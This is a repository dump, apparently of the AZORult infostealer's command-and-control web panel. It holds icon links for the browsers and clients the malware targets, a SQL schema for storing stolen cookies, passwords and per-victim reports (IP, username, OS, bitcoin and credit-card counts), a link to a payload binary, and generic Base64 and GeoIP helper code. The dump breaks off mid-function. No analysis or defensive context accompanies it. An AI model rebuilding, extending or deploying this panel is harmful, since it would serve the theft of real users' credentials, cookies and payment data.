-------------------------------------------------------------------------------- /panel/img/flags/vn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/vn.png -------------------------------------------------------------------------------- /panel/img/flags/vu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/vu.png -------------------------------------------------------------------------------- /panel/img/flags/wales.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/wales.png -------------------------------------------------------------------------------- /panel/img/flags/wf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/wf.png -------------------------------------------------------------------------------- /panel/img/flags/ws.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ws.png -------------------------------------------------------------------------------- /panel/img/flags/ye.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/ye.png -------------------------------------------------------------------------------- /panel/img/flags/yt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/yt.png -------------------------------------------------------------------------------- /panel/img/flags/za.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/za.png -------------------------------------------------------------------------------- /panel/img/flags/zm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/zm.png -------------------------------------------------------------------------------- /panel/img/flags/zw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/flags/zw.png -------------------------------------------------------------------------------- /panel/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/logo.png -------------------------------------------------------------------------------- /panel/img/softs/360Browser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/360Browser.png -------------------------------------------------------------------------------- /panel/img/softs/7Star.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/7Star.png -------------------------------------------------------------------------------- /panel/img/softs/Amigo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Amigo.png -------------------------------------------------------------------------------- /panel/img/softs/Brave.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Brave.png -------------------------------------------------------------------------------- /panel/img/softs/Bromium.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Bromium.png -------------------------------------------------------------------------------- /panel/img/softs/CentBrowser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/CentBrowser.png -------------------------------------------------------------------------------- /panel/img/softs/Chedot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Chedot.png -------------------------------------------------------------------------------- /panel/img/softs/Chromium.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Chromium.png -------------------------------------------------------------------------------- /panel/img/softs/CocCoc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/CocCoc.png -------------------------------------------------------------------------------- /panel/img/softs/ComodoDragon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/ComodoDragon.png -------------------------------------------------------------------------------- /panel/img/softs/Cyberfox.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Cyberfox.png -------------------------------------------------------------------------------- /panel/img/softs/ElementsBrowser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/ElementsBrowser.png -------------------------------------------------------------------------------- /panel/img/softs/Epic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Epic.png -------------------------------------------------------------------------------- /panel/img/softs/FileZilla.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/FileZilla.png -------------------------------------------------------------------------------- /panel/img/softs/GoBrowser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/GoBrowser.png -------------------------------------------------------------------------------- /panel/img/softs/GoogleChrome.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/GoogleChrome.png -------------------------------------------------------------------------------- /panel/img/softs/GoogleChrome64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/GoogleChrome64.png -------------------------------------------------------------------------------- /panel/img/softs/IceDragon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/IceDragon.png -------------------------------------------------------------------------------- /panel/img/softs/InternetExplorer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/InternetExplorer.png -------------------------------------------------------------------------------- /panel/img/softs/InternetMailRu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/InternetMailRu.png -------------------------------------------------------------------------------- /panel/img/softs/Kometa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Kometa.png -------------------------------------------------------------------------------- /panel/img/softs/MicrosoftEdge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/MicrosoftEdge.png -------------------------------------------------------------------------------- /panel/img/softs/MozillaFireFox.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/MozillaFireFox.png -------------------------------------------------------------------------------- /panel/img/softs/Mustang.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Mustang.png -------------------------------------------------------------------------------- /panel/img/softs/Nichrome.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Nichrome.png -------------------------------------------------------------------------------- /panel/img/softs/Opera.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Opera.png -------------------------------------------------------------------------------- /panel/img/softs/Orbitum.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Orbitum.png -------------------------------------------------------------------------------- /panel/img/softs/Outlook.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Outlook.png -------------------------------------------------------------------------------- /panel/img/softs/PaleMoon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/PaleMoon.png -------------------------------------------------------------------------------- /panel/img/softs/Pidgin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Pidgin.png -------------------------------------------------------------------------------- /panel/img/softs/Psi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Psi.png -------------------------------------------------------------------------------- /panel/img/softs/PsiPlus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/PsiPlus.png -------------------------------------------------------------------------------- /panel/img/softs/QIPSurf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/QIPSurf.png -------------------------------------------------------------------------------- /panel/img/softs/RockMelt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/RockMelt.png -------------------------------------------------------------------------------- /panel/img/softs/SaferBrowser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/SaferBrowser.png -------------------------------------------------------------------------------- /panel/img/softs/Sputnik.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Sputnik.png -------------------------------------------------------------------------------- /panel/img/softs/Suhba.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Suhba.png -------------------------------------------------------------------------------- /panel/img/softs/Superbird.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Superbird.png -------------------------------------------------------------------------------- /panel/img/softs/ThunderBird.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/ThunderBird.png -------------------------------------------------------------------------------- /panel/img/softs/TorBro.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/TorBro.png -------------------------------------------------------------------------------- /panel/img/softs/Torch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Torch.png -------------------------------------------------------------------------------- /panel/img/softs/Uran.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Uran.png -------------------------------------------------------------------------------- /panel/img/softs/Vivaldi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Vivaldi.png -------------------------------------------------------------------------------- /panel/img/softs/Waterfox.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/Waterfox.png -------------------------------------------------------------------------------- /panel/img/softs/WinSCP.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/WinSCP.png -------------------------------------------------------------------------------- /panel/img/softs/YandexBrowser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/softs/YandexBrowser.png -------------------------------------------------------------------------------- /panel/img/st.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/st.png -------------------------------------------------------------------------------- /panel/img/tool.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/tool.png -------------------------------------------------------------------------------- /panel/img/win/10.0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/10.0.png -------------------------------------------------------------------------------- /panel/img/win/10.0s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/10.0s.png -------------------------------------------------------------------------------- /panel/img/win/5.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/5.1.png -------------------------------------------------------------------------------- /panel/img/win/5.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/5.2.png -------------------------------------------------------------------------------- /panel/img/win/5.2s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/5.2s.png -------------------------------------------------------------------------------- /panel/img/win/6.0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.0.png -------------------------------------------------------------------------------- /panel/img/win/6.0s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.0s.png -------------------------------------------------------------------------------- /panel/img/win/6.1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.1.png -------------------------------------------------------------------------------- /panel/img/win/6.1s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.1s.png -------------------------------------------------------------------------------- /panel/img/win/6.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.2.png -------------------------------------------------------------------------------- /panel/img/win/6.2s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.2s.png -------------------------------------------------------------------------------- /panel/img/win/6.3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.3.png -------------------------------------------------------------------------------- /panel/img/win/6.3s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/img/win/6.3s.png -------------------------------------------------------------------------------- /panel/info/dump.sql: -------------------------------------------------------------------------------- 1 | -- phpMyAdmin SQL Dump 2 | -- version 4.5.1 3 | -- http://www.phpmyadmin.net 4 | -- 5 | -- Версия сервера: 10.1.8-MariaDB 6 | -- Версия PHP: 5.5.30 7 | 8 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; 9 | SET time_zone = "+00:00"; 10 | 11 | 12 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; 13 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; 14 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; 15 | /*!40101 SET NAMES utf8 */; 16 | 17 | -- 18 | -- База данных: `azorult2` 19 | -- 20 | 21 | -- -------------------------------------------------------- 22 | 23 | -- 24 | -- Структура таблицы `cookies` 25 | -- 26 | 27 | CREATE TABLE `cookies` ( 28 | `domain` varchar(300) NOT NULL DEFAULT '?', 29 | `r_id` int(11) DEFAULT NULL, 30 | `id` int(11) NOT NULL 31 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 32 | 33 | -- -------------------------------------------------------- 34 | 35 | -- 36 | -- Структура таблицы `passwords` 37 | -- 38 | 39 | CREATE TABLE `passwords` ( 40 | `p_soft_type` int(11) NOT NULL DEFAULT '1', 41 | `p_soft_name` varchar(30) NOT NULL DEFAULT '?', 42 | `p_p1` varchar(300) NOT NULL DEFAULT ' ', 43 | `p_p2` varchar(300) NOT NULL DEFAULT ' ', 44 | `p_p3` varchar(300) NOT NULL DEFAULT ' ', 45 | `p_p4` varchar(300) NOT NULL DEFAULT ' ', 46 | `r_id` int(11) DEFAULT NULL 47 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 48 | 49 | -- -------------------------------------------------------- 50 | 51 | -- 52 | -- Структура таблицы `reports` 53 | -- 54 | 55 | CREATE TABLE `reports` ( 56 | `r_id` int(11) NOT NULL, 57 | `m_id` varchar(300) NOT NULL DEFAULT '?', 58 | `ip` varchar(30) NOT NULL DEFAULT '?', 59 | `country` varchar(10) NOT NULL DEFAULT '?', 60 | `date` date NOT NULL DEFAULT '0000-00-00', 61 | `time` time NOT NULL DEFAULT '00:00:00', 62 | `compname` varchar(260) NOT NULL DEFAULT '?', 63 | `username` varchar(300) NOT NULL DEFAULT '?', 64 | `os_name` varchar(260) NOT NULL DEFAULT '?', 65 | `os_arch` varchar(10) NOT NULL DEFAULT '?', 66 | `os_ver` varchar(10) NOT NULL DEFAULT '?', 67 | `files_count` int(11) NOT NULL DEFAULT '0', 68 | `btc_count` int(11) NOT NULL DEFAULT '0', 69 | `cc_count` int(11) NOT NULL DEFAULT '0', 70 | `passwords_count` int(11) NOT NULL DEFAULT '0', 71 | `bin_type` varchar(2) NOT NULL DEFAULT 'E', 72 | `bin_rights` varchar(2) NOT NULL DEFAULT '?', 73 | `comment` varchar(300) NOT NULL DEFAULT ' ', 74 | `filename` varchar(260) NOT NULL DEFAULT 'no', 75 | `trashed` tinyint(1) NOT NULL DEFAULT '0' 76 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 77 | 78 | -- 79 | -- Индексы сохранённых таблиц 80 | -- 81 | 82 | -- 83 | -- Индексы таблицы `cookies` 84 | -- 85 | ALTER TABLE `cookies` 86 | ADD PRIMARY KEY (`id`); 87 | 88 | -- 89 | -- Индексы таблицы `reports` 90 | -- 91 | ALTER TABLE `reports` 92 | ADD PRIMARY KEY (`r_id`); 93 | 94 | -- 95 | -- AUTO_INCREMENT для сохранённых таблиц 96 | -- 97 | 98 | -- 99 | -- AUTO_INCREMENT для таблицы `cookies` 100 | -- 101 | ALTER TABLE `cookies` 102 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 103 | -- 104 | -- AUTO_INCREMENT для таблицы `reports` 105 | -- 106 | ALTER TABLE `reports` 107 | MODIFY `r_id` int(11) NOT NULL AUTO_INCREMENT; 108 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; 109 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; 110 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; 111 | -------------------------------------------------------------------------------- /panel/js/base64.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Base64 encode / decode 4 | * http://www.webtoolkit.info/ 5 | * 6 | **/ 7 | 8 | var Base64 = { 9 | 10 | // private property 11 | _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", 12 | 13 | // public method for encoding 14 | encode : function (input) { 15 | var output = ""; 16 | var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 17 | var i = 0; 18 | 19 | input = Base64._utf8_encode(input); 20 | 21 | while (i < input.length) { 22 | 23 | chr1 = input.charCodeAt(i++); 24 | chr2 = input.charCodeAt(i++); 25 | chr3 = input.charCodeAt(i++); 26 | 27 | enc1 = chr1 >> 2; 28 | enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 29 | enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 30 | enc4 = chr3 & 63; 31 | 32 | if (isNaN(chr2)) { 33 | enc3 = enc4 = 64; 34 | } else if (isNaN(chr3)) { 35 | enc4 = 64; 36 | } 37 | 38 | output = output + 39 | this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + 40 | this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); 41 | 42 | } 43 | 44 | return output; 45 | }, 46 | 47 | // public method for decoding 48 | decode : function (input) { 49 | var output = ""; 50 | var chr1, chr2, chr3; 51 | var enc1, enc2, enc3, enc4; 52 | var i = 0; 53 | 54 | input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 55 | 56 | while (i < input.length) { 57 | 58 | enc1 = this._keyStr.indexOf(input.charAt(i++)); 59 | enc2 = this._keyStr.indexOf(input.charAt(i++)); 60 | enc3 = this._keyStr.indexOf(input.charAt(i++)); 61 | enc4 = this._keyStr.indexOf(input.charAt(i++)); 62 | 63 | chr1 = (enc1 << 2) | (enc2 >> 4); 64 | chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 65 | chr3 = ((enc3 & 3) << 6) | enc4; 66 | 67 | output = output + String.fromCharCode(chr1); 68 | 69 | if (enc3 != 64) { 70 | output = output + String.fromCharCode(chr2); 71 | } 72 | if (enc4 != 64) { 73 | output = output + String.fromCharCode(chr3); 74 | } 75 | 76 | } 77 | 78 | output = Base64._utf8_decode(output); 79 | 80 | return output; 81 | 82 | }, 83 | 84 | // private method for UTF-8 encoding 85 | _utf8_encode : function (string) { 86 | string = string.replace(/\r\n/g,"\n"); 87 | var utftext = ""; 88 | 89 | for (var n = 0; n < string.length; n++) { 90 | 91 | var c = string.charCodeAt(n); 92 | 93 | if (c < 128) { 94 | utftext += String.fromCharCode(c); 95 | } 96 | else if((c > 127) && (c < 2048)) { 97 | utftext += String.fromCharCode((c >> 6) | 192); 98 | utftext += String.fromCharCode((c & 63) | 128); 99 | } 100 | else { 101 | utftext += String.fromCharCode((c >> 12) | 224); 102 | utftext += String.fromCharCode(((c >> 6) & 63) | 128); 103 | utftext += String.fromCharCode((c & 63) | 128); 104 | } 105 | 106 | } 107 | 108 | return utftext; 109 | }, 110 | 111 | // private method for UTF-8 decoding 112 | _utf8_decode : function (utftext) { 113 | var string = ""; 114 | var i = 0; 115 | var c = c1 = c2 = 0; 116 | 117 | while ( i < utftext.length ) { 118 | 119 | c = utftext.charCodeAt(i); 120 | 121 | if (c < 128) { 122 | string += String.fromCharCode(c); 123 | i++; 124 | } 125 | else if((c > 191) && (c < 224)) { 126 | c2 = utftext.charCodeAt(i+1); 127 | string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 128 | i += 2; 129 | } 130 | else { 131 | c2 = utftext.charCodeAt(i+1); 132 | c3 = utftext.charCodeAt(i+2); 133 | string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 134 | i += 3; 135 | } 136 | 137 | } 138 | 139 | return string; 140 | } 141 | 142 | } 143 | -------------------------------------------------------------------------------- /panel/js/snippets.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | function deleteRowsss(s, r) 4 | { 5 | var i = r.parentNode.parentNode.rowIndex; 6 | document.getElementById(s).deleteRow(i); 7 | }; 8 | 9 | function deleteRow(r) { 10 | var i = r.parentNode.parentNode.rowIndex; 11 | document.getElementById("reportsgrid").deleteRow(i); 12 | } 13 | 14 | 15 | -------------------------------------------------------------------------------- /panel/links.txt: -------------------------------------------------------------------------------- 1 | %mail% -------------------------------------------------------------------------------- /panel/modules/bin/bin.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/modules/bin/bin.bin -------------------------------------------------------------------------------- /panel/modules/maxmind/GeoLite2-Country.mmdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/modules/maxmind/GeoLite2-Country.mmdb -------------------------------------------------------------------------------- /panel/modules/maxmind/maxmind.php: -------------------------------------------------------------------------------- 1 | 'extended', 14 | 1 => 'pointer', 15 | 2 => 'utf8_string', 16 | 3 => 'double', 17 | 4 => 'bytes', 18 | 5 => 'uint16', 19 | 6 => 'uint32', 20 | 7 => 'map', 21 | 8 => 'int32', 22 | 9 => 'uint64', 23 | 10 => 'uint128', 24 | 11 => 'array', 25 | 12 => 'container', 26 | 13 => 'end_marker', 27 | 14 => 'boolean', 28 | 15 => 'float', 29 | ]; 30 | 31 | public function __construct( 32 | $fileStream, 33 | $pointerBase = 0, 34 | $pointerTestHack = false 35 | ) { 36 | $this->fileStream = $fileStream; 37 | $this->pointerBase = $pointerBase; 38 | $this->pointerTestHack = $pointerTestHack; 39 | 40 | $this->switchByteOrder = $this->isPlatformLittleEndian(); 41 | } 42 | 43 | public function decode($offset) 44 | { 45 | list(, $ctrlByte) = unpack( 46 | 'C', 47 | Util::read($this->fileStream, $offset, 1) 48 | ); 49 | $offset++; 50 | 51 | $type = $this->types[$ctrlByte >> 5]; 52 | 53 | // Pointers are a special case, we don't read the next $size bytes, we 54 | // use the size to determine the length of the pointer and then follow 55 | // it. 56 | if ($type === 'pointer') { 57 | list($pointer, $offset) = $this->decodePointer($ctrlByte, $offset); 58 | 59 | // for unit testing 60 | if ($this->pointerTestHack) { 61 | return [$pointer]; 62 | } 63 | 64 | list($result) = $this->decode($pointer); 65 | 66 | return [$result, $offset]; 67 | } 68 | 69 | if ($type === 'extended') { 70 | list(, $nextByte) = unpack( 71 | 'C', 72 | Util::read($this->fileStream, $offset, 1) 73 | ); 74 | 75 | $typeNum = $nextByte + 7; 76 | 77 | if ($typeNum < 8) { 78 | throw new InvalidDatabaseException( 79 | 'Something went horribly wrong in the decoder. An extended type ' 80 | . 'resolved to a type number < 8 (' 81 | . $this->types[$typeNum] 82 | . ')' 83 | ); 84 | } 85 | 86 | $type = $this->types[$typeNum]; 87 | $offset++; 88 | } 89 | 90 | list($size, $offset) = $this->sizeFromCtrlByte($ctrlByte, $offset); 91 | 92 | return $this->decodeByType($type, $offset, $size); 93 | } 94 | 95 | private function decodeByType($type, $offset, $size) 96 | { 97 | switch ($type) { 98 | case 'map': 99 | return $this->decodeMap($size, $offset); 100 | case 'array': 101 | return $this->decodeArray($size, $offset); 102 | case 'boolean': 103 | return [$this->decodeBoolean($size), $offset]; 104 | } 105 | 106 | $newOffset = $offset + $size; 107 | $bytes = Util::read($this->fileStream, $offset, $size); 108 | switch ($type) { 109 | case 'utf8_string': 110 | return [$this->decodeString($bytes), $newOffset]; 111 | case 'double': 112 | $this->verifySize(8, $size); 113 | 114 | return [$this->decodeDouble($bytes), $newOffset]; 115 | case 'float': 116 | $this->verifySize(4, $size); 117 | 118 | return [$this->decodeFloat($bytes), $newOffset]; 119 | case 'bytes': 120 | return [$bytes, $newOffset]; 121 | case 'uint16': 122 | case 'uint32': 123 | return [$this->decodeUint($bytes), $newOffset]; 124 | case 'int32': 125 | return [$this->decodeInt32($bytes), $newOffset]; 126 | case 'uint64': 127 | case 'uint128': 128 | return [$this->decodeBigUint($bytes, $size), $newOffset]; 129 | default: 130 | throw new InvalidDatabaseException( 131 | 'Unknown or unexpected type: ' . $type 132 | ); 133 | } 134 | } 135 | 136 | private function verifySize($expected, $actual) 137 | { 138 | if ($expected !== $actual) { 139 | throw new InvalidDatabaseException( 140 | "The MaxMind DB file's data section contains bad data (unknown data type or corrupt data)" 141 | ); 142 | } 143 | } 144 | 145 | private function decodeArray($size, $offset) 146 | { 147 | $array = []; 148 | 149 | for ($i = 0; $i < $size; $i++) { 150 | list($value, $offset) = $this->decode($offset); 151 | array_push($array, $value); 152 | } 153 | 154 | return [$array, $offset]; 155 | } 156 | 157 | private function decodeBoolean($size) 158 | { 159 | return $size === 0 ? false : true; 160 | } 161 | 162 | private function decodeDouble($bits) 163 | { 164 | // XXX - Assumes IEEE 754 double on platform 165 | list(, $double) = unpack('d', $this->maybeSwitchByteOrder($bits)); 166 | 167 | return $double; 168 | } 169 | 170 | private function decodeFloat($bits) 171 | { 172 | 